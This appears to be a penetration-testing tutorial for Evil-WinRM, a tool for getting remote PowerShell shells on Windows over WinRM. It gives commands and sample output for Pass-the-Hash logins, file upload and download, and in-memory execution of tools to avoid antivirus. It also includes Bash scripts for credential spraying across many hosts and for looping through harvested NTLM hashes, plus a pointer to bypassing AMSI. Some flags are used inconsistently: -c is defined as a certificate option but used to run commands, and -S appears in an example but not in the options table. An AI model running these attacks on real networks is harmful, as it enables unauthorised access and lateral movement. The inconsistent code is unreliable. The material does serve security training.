evil-winrm: A PowerShell-based remote management tool for exploiting Windows systems

Abdul Wahab Junaid

1 year ago

evil-winrm: A PowerShell-based remote management tool for exploiting Windows systems

Evil-WinRM is a Ruby-based tool built for penetration testers to interact with Windows Remote Management (WinRM), a management protocol Windows uses to allow remote command execution over HTTP/HTTPS (typically ports 5985/5986). Unlike raw winrs or PowerShell Remoting on Windows, Evil-WinRM is purpose-built for offensive engagements: it provides a feature-rich interactive shell with capabilities like file upload/download, in-memory PowerShell script/DLL loading (bypassing disk-based AV signatures), Pass-the-Hash authentication, and colorized output, all runnable natively from Kali Linux. It has become the de facto standard tool for gaining and interacting with a shell on a Windows target once valid credentials or hashes are known, and is heavily used in Active Directory penetration testing, OSCP-style exams, and CTF competitions such as those on Hack The Box.

Introduction

WinRM is Microsoft’s implementation of the WS-Management protocol, enabling remote management and script execution on Windows hosts. It is enabled by default on Windows Server editions and can be enabled on workstations via Enable-PSRemoting. WinRM listens on TCP port 5985 (HTTP) and 5986 (HTTPS) by default.

Evil-WinRM connects to a target’s WinRM service and provides an interactive pseudo-shell equivalent to a PowerShell session, but with additional attacker-oriented conveniences:

Authentication via password, NTLM hash (Pass-the-Hash), or Kerberos ticket
Upload and download files between attacker and target
Load and execute PowerShell scripts and C# assemblies reflectively (in memory, avoiding disk writes)
Command history and tab-completion
Support for SSL/TLS connections
Logging of session activity

Because it operates over a legitimate, commonly-open Windows management protocol, Evil-WinRM often blends in better than dropping a custom reverse shell payload, and is frequently the preferred lateral-movement and access tool once valid domain or local credentials have been obtained (e.g., via Mimikatz, Kerberoasting, or password spraying).

Installation

Evil-WinRM is written in Ruby and distributed as a Ruby gem; it is pre-installed on current Kali Linux images, but can also be installed manually.

Verify existing installation

evil-winrm --version

Expected output:

Evil-WinRM V3.5

Installing via apt (Kali)

sudo apt update
sudo apt install evil-winrm -y

Installing via RubyGems

sudo gem install evil-winrm

Installing from source (GitHub)

sudo apt install ruby ruby-dev build-essential -y
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
bundle install

Run directly from source:

ruby evil-winrm.rb -i <target_ip> -u <username> -p <password>

Resolving common dependency issues

sudo gem install winrm winrm-fs stringio logger fileutils

Syntax

The general invocation syntax is:

evil-winrm -i <target_ip> [-u <username>] [-p <password> | -H <ntlm_hash>] [OPTIONS]

Example minimal invocation with password authentication:

evil-winrm -i 10.10.10.5 -u jsmith -p 'Summer2026!'

Example with Pass-the-Hash:

evil-winrm -i 10.10.10.5 -u administrator -H 8846f7eaee8fb117ad06bd6bb76e3fdd

Command Line Options

Flag	Description
`-i, --ip IP`	Target host IP address or hostname (required)
`-u, --user USER`	Username for authentication
`-p, --password PASS`	Password for authentication
`-H, --hash HASH`	NTLM hash for Pass-the-Hash authentication (no password needed)
`-P, --port PORT`	WinRM port (default 5985, use 5986 for SSL)
`-s, --scripts PATH`	Path to a folder containing PowerShell scripts to preload as menu commands
`-e, --executables PATH`	Path to a folder containing .exe/.dll files available for the `Invoke-Binary`/upload workflow
`-l, --list`	List available scripts/executables loaded from `-s`/`-e` paths
`--ssl`	Force connection over HTTPS (SSL)
`-c, --pub-key CERT`	Public key certificate for SSL client-cert auth
`-k, --priv-key KEY`	Private key for SSL client-cert auth
`-r, --realm DOMAIN`	Kerberos realm (used with Kerberos auth)
`--spn SPN`	Override the target SPN for Kerberos
`-U, --url URL`	Custom WinRM URL/endpoint path
`-t, --config-path PATH`	Path to a config file with connection defaults
`-log PATH`	Log all session activity to a file
`-n, --no-colors`	Disable colorized output
`-V, --version`	Display Evil-WinRM version
`-h, --help`	Show help/usage menu

Basic Usage

Connecting to a target with a username/password:

evil-winrm -i 10.10.10.5 -u jsmith -p 'Summer2026!'

Expected output:

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\jsmith\Documents>

From this prompt, standard PowerShell/cmd-style commands work directly:

*Evil-WinRM* PS C:\Users\jsmith\Documents> whoami
corp\jsmith

Practical Examples with Output

Example 1 — Basic authenticated connection

evil-winrm -i 10.10.10.5 -u jsmith -p 'Summer2026!'

Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\jsmith\Documents>

Example 2 — Pass-the-Hash authentication

evil-winrm -i 10.10.10.5 -u administrator -H 8846f7eaee8fb117ad06bd6bb76e3fdd

Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

Example 3 — Connecting over SSL on port 5986

evil-winrm -i 10.10.10.5 -u jsmith -p 'Summer2026!' -S -P 5986

Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint (SSL)
*Evil-WinRM* PS C:\Users\jsmith\Documents>

Example 4 — Uploading a file to the target

*Evil-WinRM* PS C:\Users\jsmith\Documents> upload /home/kali/tools/winPEAS.exe

Info: Uploading /home/kali/tools/winPEAS.exe to C:\Users\jsmith\Documents\winPEAS.exe

Data: 158720 bytes of 158720 bytes copied
Info: Upload successful!

Example 5 — Downloading a file from the target

*Evil-WinRM* PS C:\Users\jsmith\Documents> download C:\Users\jsmith\Desktop\flag.txt

Info: Downloading C:\Users\jsmith\Desktop\flag.txt to flag.txt

Info: Download successful!

Example 6 — Loading preloaded PowerShell scripts (via `-s`)

evil-winrm -i 10.10.10.5 -u jsmith -p 'Summer2026!' -s /opt/privesc-scripts/

*Evil-WinRM* PS C:\Users\jsmith\Documents> Invoke-PowerShellTcp

Example 7 — Listing loaded scripts/executables

*Evil-WinRM* PS C:\Users\jsmith\Documents> menu

Info: List of AVAILABLE modules, exit process to reload

Category: Persistence
    Invoke-Binary
Category: Privesc
    Invoke-PrivescCheck

Example 8 — Running a binary reflectively in memory with Invoke-Binary

*Evil-WinRM* PS C:\Users\jsmith\Documents> Invoke-Binary /opt/tools/PsExec64.exe -accepteula

Info: Invoke-Binary succesfully executed!

Example 9 — Directory listing and basic recon post-connect

*Evil-WinRM* PS C:\Users\jsmith\Documents> dir C:\Users

    Directory: C:\Users

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         7/1/2026   3:12 PM                Administrator
d-----         6/2/2026  10:44 AM                jsmith
d-----         1/9/2025   8:03 AM                Public

Example 10 — Checking current privileges

*Evil-WinRM* PS C:\Users\jsmith\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking              Enabled
SeImpersonatePrivilege        Impersonate a client after auth       Enabled

Example 11 — Using Kerberos authentication

evil-winrm -i dc01.corp.local -r corp.local -u jsmith

Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint (Kerberos)
*Evil-WinRM* PS C:\Users\jsmith\Documents>

Example 12 — Logging the entire session to disk

evil-winrm -i 10.10.10.5 -u jsmith -p 'Summer2026!' -log /home/kali/loot/session_10.10.10.5.log

Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
Info: Logging session data to /home/kali/loot/session_10.10.10.5.log
*Evil-WinRM* PS C:\Users\jsmith\Documents>

Common Use Cases

Post-credential-compromise shell access — after obtaining valid domain credentials or an NTLM hash (via Mimikatz, Responder, Kerberoasting, etc.), Evil-WinRM provides an immediate interactive shell.
Lateral movement in Active Directory environments — moving between domain-joined hosts that expose WinRM (common on member servers and domain controllers).
In-memory tool execution — running enumeration or privilege escalation tools (winPEAS, PowerView, SharpHound) without writing them to disk, reducing AV detection.
CTF and certification exam workflows — Evil-WinRM is the standard shell tool for Hack The Box, OSCP, and similar hands-on exams whenever WinRM (port 5985/5986) is open.
File exfiltration/infiltration during engagements — using upload/download to move loot and tools between attacker and target machine.
Data collection for AD attack path mapping — loading and running SharpHound via Invoke-Binary to collect BloodHound ingestion data.

Automation with Bash

Bash script to test WinRM credentials across a target list

#!/bin/bash
# spray_winrm.sh - test one credential against multiple hosts
TARGETS="targets.txt"
USER="jsmith"
PASS='Summer2026!'

while read -r ip; do
    echo "[*] Testing $ip"
    timeout 10 evil-winrm -i "$ip" -u "$USER" -p "$PASS" -c "whoami; exit" \
        >> winrm_results.txt 2>&1
done < "$TARGETS"

echo "[+] Results saved to winrm_results.txt"

Bash script to run a recon command automatically upon connect

#!/bin/bash
# auto_recon.sh - connect and immediately run recon commands, then exit
IP="10.10.10.5"
USER="jsmith"
PASS='Summer2026!'

evil-winrm -i "$IP" -u "$USER" -p "$PASS" <<'EOF'
whoami /all
ipconfig /all
net user
net group "Domain Admins" /domain
exit
EOF

Bash script to loop Pass-the-Hash attempts using a hash list

#!/bin/bash
# pth_loop.sh - attempt pass-the-hash across a list of harvested NTLM hashes
IP="10.10.10.5"
USER="administrator"
HASHFILE="all_ntlm_hashes.txt"

while read -r hash; do
    echo "[*] Trying hash: $hash"
    evil-winrm -i "$IP" -u "$USER" -H "$hash" -c "whoami; exit" 2>&1 | tee -a pth_attempts.log
done < "$HASHFILE"

Tips and Best Practices

Confirm WinRM is actually open before attempting a connection: nmap -p5985,5986 <target>.
Use -H (Pass-the-Hash) whenever only an NTLM hash is available; there’s no need to crack it first.
Preload commonly used offensive PowerShell scripts and binaries with -s/-e at connection time to save time mid-engagement.
Prefer Invoke-Binary for running unmanaged EXEs in memory rather than uploading them to disk, to reduce forensic footprint and AV detection.
Use -log on every engagement session for accurate reporting and evidence of actions taken.
When WinRM is closed but WinRM can be remotely enabled with existing admin creds, note this as a finding; enabling it yourself for further access should stay within engagement scope.
Combine Evil-WinRM with BloodHound/SharpHound data collection for effective, low-noise Active Directory attack path discovery.
Watch for account lockout policies before password spraying against WinRM; a single bad guess against many accounts is safer than many guesses against one.

Troubleshooting

Issue	Likely Cause	Resolution
`WinRM::WinRMAuthorizationError`	Invalid credentials or account lacks remote access rights	Verify credentials; confirm the account is in `Remote Management Users` or is a local/domain admin
Connection times out	WinRM service not running or port filtered by firewall	Confirm with `nmap -p5985 <target>`; enable WinRM via other access if authorized
`OpenSSL::SSL::SSLError`	Mismatched SSL settings for port 5986	Add `--ssl` flag and confirm target certificate; try without `-P 5986` if SSL isn’t actually configured
`Errno::ECONNREFUSED`	Wrong IP/port, or WinRM disabled	Double check target IP and confirm the service with `nmap -sV -p5985,5986`
Ruby gem load errors on startup	Missing/broken Ruby gem dependencies	Reinstall with `sudo gem install winrm winrm-fs evil-winrm`
`Invoke-Binary` fails silently	Target has AMSI/Defender actively blocking in-memory execution	Use an AMSI bypass technique within engagement scope, or an alternate loader
Kerberos auth fails with `-r`	Clock skew between attacker and DC, or missing KRB5 config	Sync time with `ntpdate`/`chronyd`; verify `/etc/krb5.conf` realm settings

References

Official Evil-WinRM repository: https://github.com/Hackplayers/evil-winrm
Kali Linux tool page: https://www.kali.org/tools/evil-winrm/
Microsoft WinRM documentation: https://learn.microsoft.com/en-us/windows/win32/winrm/portal
MITRE ATT&CK — Windows Remote Management (T1021.006): https://attack.mitre.org/techniques/T1021/006/